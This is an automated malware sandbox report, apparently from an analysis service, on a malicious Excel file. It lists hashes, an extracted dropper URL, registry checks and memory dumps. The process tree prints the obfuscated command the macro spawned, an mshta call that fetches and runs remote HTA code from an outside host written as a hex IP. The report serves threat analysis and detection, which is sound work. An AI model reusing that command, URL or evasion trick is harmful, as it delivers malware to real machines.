f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66

General

Target

f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66.xls
Size

141KB
MD5

5f882ff9989e2ce8cbf82f03a8776b2b
SHA1

45cc96bb668146c3f4269c5fcba482a77dff3ba4
SHA256

f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66
SHA512

b0db47e67659ec55b851aa86605673437805b123942c0c73af978cc9c268cc0f089e5ac34845520b1705135520bd258182df5ddec4229c6c141edff15ba35dcb
SSDEEP

3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3392	432	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	1452	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
432	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
432	EXCEL.EXE
432	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE
432	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 432 wrote to memory of 4288	432	EXCEL.EXE	84
PID 432 wrote to memory of 4288	432	EXCEL.EXE	84
PID 432 wrote to memory of 3392	432	EXCEL.EXE	89
PID 432 wrote to memory of 3392	432	EXCEL.EXE	89
PID 3392 wrote to memory of 1452	3392	cmd.exe	91
PID 3392 wrote to memory of 1452	3392	cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f0c4aea4446f4dfdc2892538857e5a9d72af581d234e34ee79c9cae150951e66.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:432
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3392
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:1452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
e412c80343f549b2bbc5ce6c0836392a

SHA1
74748e0bb002ee2b2520126a9d0946938cb20d6d

SHA256
4f1a871877ea08b6189d96d0a45d09316b3268dff8ad1aca5b42687f2c54ea56

SHA512
d9b986f545291a60a86689a8abbb08b0c3377f6915d8b54ee267e1a39badf5dd31fd977b39ae7e1060f1cb8a1c570388be58d098d2714daa4b83802302e3ca1d

Download Submit
memory/432-11-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-28-0x00007FF9067AD000-0x00007FF9067AE000-memory.dmp

Filesize
4KB

Download
memory/432-6-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-5-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-7-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/432-8-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-10-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-3-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/432-1-0x00007FF9067AD000-0x00007FF9067AE000-memory.dmp

Filesize
4KB

Download
memory/432-4-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/432-9-0x00007FF8C4290000-0x00007FF8C42A0000-memory.dmp

Filesize
64KB

Download
memory/432-2-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/432-15-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-16-0x00007FF8C4290000-0x00007FF8C42A0000-memory.dmp

Filesize
64KB

Download
memory/432-13-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-12-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-27-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-0-0x00007FF8C6790000-0x00007FF8C67A0000-memory.dmp

Filesize
64KB

Download
memory/432-29-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download
memory/432-14-0x00007FF906710000-0x00007FF906905000-memory.dmp

Filesize
2.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads